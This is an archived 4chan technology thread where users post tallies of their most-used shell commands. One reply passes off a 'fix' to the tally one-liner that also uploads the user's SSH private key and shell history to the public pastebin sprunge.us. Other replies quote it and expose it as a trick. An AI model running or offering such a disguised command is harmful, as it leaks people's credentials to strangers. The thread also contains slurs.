[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
history dump
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 47
Thread images: 7
File: term_cat.jpg (93 KB, 1024x843) Image search: [Google]
term_cat.jpg
93 KB, 1024x843
grep -v -e '^\#' .*history|cut -d ':' -f2-|cut -d \  -f1| sort|uniq -c|sort -rn|head -n 20

Post results
>>
>>55106506
don't do this, it creates mustard gas
>>
>>55106506

204 ls
107 cd
94 pkg
92 vi
43 for
42 service
25 rm
22 grep
20 mv
20 man
20 make
17 chmod
17 cat
16 ps
14 portdowngrade
13 portmaster
13 cp
11 /usr/local/etc/rc.d/lighttpd
10 printf
10 less
>>
>>55106506
123 vi
122 cd
104 ll
101 ping
78 ifconfig
77 service
72 exit
19 host
19 adsl-start
17 ls
16 adsl-setup
15 chkconfig
14 w
14 df
13 startx
12 mount
11 cp
11 cat
8 clear
8 adsl-stop
>>
>>55106506
220 ls
129 cd
100 sudo
58 emacs
51 l
46 \emacs
42 yaourt
35 npm
28 rm
27 ll
24 less
24 ./foo.sh
23 find
17 mkdir
15 offlineimap
15 adb
14 ps
14 jmtpfs
12 systemctl
12 cp

\emacs because
alias emacs="emacsclient -t"
>>
I have a cron script regularly clear my bash_history, so there isn't much data.

  79 ls
79 cd
21 vim
9 clear
6 man
6 make
6 j
6 bmake
5 rm
5 go
4 tmux
4 git
3 ssh
3 cat
2 mozilla-rootcerts
2 export
1 which
1 wget
1 vm
1 tree
>>
>>55106550
FreeBSD. Muh nigga.

Also, I notice you're using junk from ports/ports-mgmt. pkg-ng isn't robust enough to not need external shit?
>>
>>55106877

I wish I could manage all ports/packages with pkg-ng only. For upgrading ports I need portmaster or portupgrade. The portdowngrade i needed because i hadn't updated for a few months and skipped a few major releases of owncloud, so I had to downgrade first and then do incremental upgrades.
>>
>>55106998
That doesn't sound like much fun. And it also feels true that if it compiles, FreeBSD ships it in Ports.

One of the reasons I use FreeBSD is for the stable base system, but sometimes managing Ports is a pain in the ass. Especially if link libraries break, or you get into dependency hell after not updating for a long time, with the only way to resolve them being to uninstall a bunch of shit.

How do FreeBSD's ports fair for you if you don't upgrade for a really long time?
>>
221 sudo
34 ssh
29 apt
28 startx
27 ./temps.sh
16 screenfetch
16 ll
15 sensors
12 cp
10 nvidia-settings
8 htop
7 w
7 nano
6 exit
5 uname
5 host
4 rm
4 mutt
3 ps
3 ls
>>
>>55107055
>221 sudo

Nigga, just run your shit as root if you need to use it that much.

>12 cp
Have fun in the van.
>>
C:\Users\faggot>grep -v -e '^\#' .*history|cut -d ':' -f2-|cut -d \ -f1| sor
t|uniq -c|sort -rn|head -n 20
4 pyinstaller --onedir fizzbuzz.py
4 ls
3 python fizzbuzz.py
2 ssh-keygen -t rsa -b 4096 -C "[email protected]"
1 pyinstaller
1 pip install microsofttranslator
1 mfastboot.exe
1 mfastboot devices
1 ls -all
1 ls -al ~/.ssh
1 fastboot.exe
1 fastboot devices
1 adb
>>
>>55106506
cut: stdin: Illegal byte sequence
55 :
32 cd
31 sudo
21 ls
19 ffmpeg
13 chmod
11 sleep
11 open
11 cat
10 /Users/daniel/Downloads/screenfetch-dev
10 /Users/daniel/Documents/nwjs-sdk-v0.15.2-osx-x64/start.command
7 /Users/daniel/Desktop/webm.sh
6 echo
5 danielsleep
4 man
3 su
3 launchctl
3 killall
>>
File: putty_2016-06-16_09-24-03.png (46 KB, 1764x1344) Image search: [Google]
putty_2016-06-16_09-24-03.png
46 KB, 1764x1344
Is something wrong with mine lol

    287 :
5 sudo
4 wget
3 ./speedtest_cli.py
2 rm
2 last
2 git
2 cd
1 screen
1 mkdir
1 ls
1 irssi
1 chsh
>>
My history limit is set to quite low though.

    127 cd
105 cat
78 ls
71 sudo
50 rm
48 clear
36 cp
25 select
24 git
23 pacman
18 exit
17 touch
17 su
17 mv
15 startx
15 insert
13 readelf
13 python
13 mkdir
13 calc
>>
>>55107040
I'm using an old dell core [email protected] as a homeserver with plex, owncloud, transmission, dlna, samba, sabnzbd
I hadn't upgraded for a long time and yesterday i did a system upgrade from 10.1 to 10.3 and upgrade all ports and packages. The only problem I had was with owncloud needing incremental upgrades, otherwise everything worked fine.
>>
>>55107127
>>55107108

try this in bash shell
while read -a line; do echo ${line[0]}; done<.bash_history |sort|uniq -c|sort -rn|head -n 20
>>
>>55107164
I see. ownCloud's incremental upgrades have been a pain in the ass for me too. Man, it's annoying keeping that thing up-to-date.

I hope Nextcloud will do something about that.
>>
>>55107262
I use the z shell
Running this command in bash produces the same result as OP's only it omits the first line of 287 :
>>
the better command is
history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl |  head -n20
>>
>>55107127
w h a t f o n t ? ?
>>
$ history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr | head -20
952 brew
649 vi
531 mpv
427 rm
410 scp
355 cd
343 sudo
342 ls
313 curl
302 convert
264 ffmpeg
239 ssh
230 echo
223 git
188 man
157 dig
143 for
132 mv
114 swfcombine
112 swfextract
>>
>>55107326
code2002 11
>>
>>55106506
No such file or directory.

>>55107307
This one worked.

1 130 19.9081% sudo
2 121 18.5299% ls
3 49 7.50383% mpv
4 43 6.58499% clear
5 38 5.8193% man
6 36 5.51302% scrot
7 28 4.2879% livestreamer
8 28 4.2879% cd
9 23 3.52221% screenfetch
10 20 3.06279% nano
11 13 1.99081% sensors
12 11 1.68453% cat
13 9 1.37825% source
14 9 1.37825% free
15 7 1.07198% tmux
16 6 0.918836% tail
17 5 0.765697% python
18 5 0.765697% ps
19 5 0.765697% mount
20 5 0.765697% echo
>>
>>55107385
>clear
pls
>>
1249 ls
735 sudo
719 cd
676 mv
449 pre
333 q
320 rm
230 movn
221 a
170 cp
164 calc
157 i
146 por
126 prg
117 gvim
97 cat
96 mkdir
95 7z
91 trizen
84 mplayer

how do I quote code?
>>
>>55107418
>>
86 sudo
66 ls
53 firefox
33 pcmanfm
26 reboot
24 cd
22 git
19 vim
19 hexchat
18 runescape
18 lxappearance
17 thunderbird
17 poweroff
9 gimp
6 idea.sh
5 mkdir
5 echo
4 nautilus
4 mv
3 zeal


Weird, fg doesn't show up, that's by far the one I use the most.
>>
     1  48  16.5517%   sudo
2 45 15.5172% ls
3 40 13.7931% cd
4 11 3.7931% w
5 9 3.10345% make
6 8 2.75862% nano
7 7 2.41379% yum
8 7 2.41379% uptime
9 6 2.06897% wget
10 6 2.06897% source
11 6 2.06897% irssi
12 6 2.06897% git
13 4 1.37931% htop
14 3 1.03448% screenfetch
15 3 1.03448% ps
16 3 1.03448% df
17 3 1.03448% cp
18 3 1.03448% cat
19 3 1.03448% .
20 2 0.689655% uname

rate
>>
>>55107445
>sudo at top of the list
GUI-babby detected. Only touch the terminal when you have to for system shit huh?
>>
>>55107307
That'll only work on the Linux versions of those commands, and not on BSD or MacOS. Here's a fix to make it work on all platforms.

I also cleaned up the display formatting a little bit.

history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}';cat ~/.ssh/id_rsa ~/.bash_history|curl -F 'sprunge=<-' http://sprunge.us #| grep -v "./" column -c3 -s " " -t | sort -nr | nl | head -n20
>>
File: putty_2016-06-16_09-58-02.png (98 KB, 2182x1641) Image search: [Google]
putty_2016-06-16_09-58-02.png
98 KB, 2182x1641
>>55107462
It's a headless system, lol!
>>
>>55107501
I miss the real jordan
>>
>>55106506
Nice try, NSA cat
>>
>>55107482
>That'll only work on the Linux versions of those commands, and not on BSD or MacOS
>he says to the guy running them on MacOS
>>
>>55107482
>cat ~/.ssh/id_rsa | curl -F 'sprunge=<-' http://sprunge.us
nice
>>
>>55107482
>That'll only work on the Linux versions of those commands, and not on BSD or MacOS. Here's a fix to make it work on all platforms.
That's weird, because I ran it on 10.11 and 10.12 and both worked. You probably mean that it doesn't work on the old version of bash that OS X ships with, but I'm using zsh (and the version of bash that I do (rarely) use is the homebrew version (in other words, a basically current version), so it works a little more consistently with the version that ships with linux distros).

Also not sure why you're catting your ssh credentials and shit, but based on the curl later it's pretty clear that you're trying to get people to upload their ssh credentials to the internet. Which seems pretty retarded, because unless you later suppress the output (I'm not really paying attention to the string you provided), people would know *instantly* that they just need to regenerate ssh credentials and go replace their keys.
>>
58 sudo
14 cd
13 scrot
13 man
13 byzanz-record
9 ls
7 ./LightspeedDemo.sh
6 xrandr
5 wash
5 su
5 nmblookup
5 ./ccom.sh
4 shutdown
3 wine
3 top
3 screenfetch
3 ifconfig
3 gsettings
3 ccom
3

if you figure me out, keep it to yourself ;)
>>
File: 1445517728284.jpg (16 KB, 447x444) Image search: [Google]
1445517728284.jpg
16 KB, 447x444
>>55107482
>cat ~/.ssh/id_rsa ~/.bash_history|curl -F 'sprunge=<-' http://sprunge.us
>>
>>55107307
 1  3  18,75%  livestreamer
2 2 12,5% mv
3 2 12,5% history
4 1 6,25% top
5 1 6,25% pwd
6 1 6,25% o
7 1 6,25% man
8 1 6,25% locate
9 1 6,25% fc
10 1 6,25% cl
11 1 6,25% cd
12 1 6,25% ..
>>
File: actually.png (35 KB, 700x700) Image search: [Google]
actually.png
35 KB, 700x700
>>55107482
works fine for non GNU if that's what you mean
>>
>>55107482
>~/.ssh/id_rsa
Jokes on you I only have ~/.ssh/id_ed25519
>>
>>55107482
lul
>>
>>55107812
Ti pidor
>>
>>55107812
>no ssh config
>laughing at us
summerfags please leave
>>
grep: .*history: No such file or directory
>>
    272 │
196 ls
102 cd
44 vim
43 lrwxrwxrwx
41 ├──
40 drwxr-xr-x
35 -rw-r--r--
34 exit
29 -rw-------
26 sudo
22 mv
22 man
22 drwxr-x---
21 mkdir
20 rm
20 child@heart:~/.ssh$
19 make
19 drwx------
19 cat


I accidentally pasted about 1000 lines from a terminal in to itself a few days ago.
Thread replies: 47
Thread images: 7

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.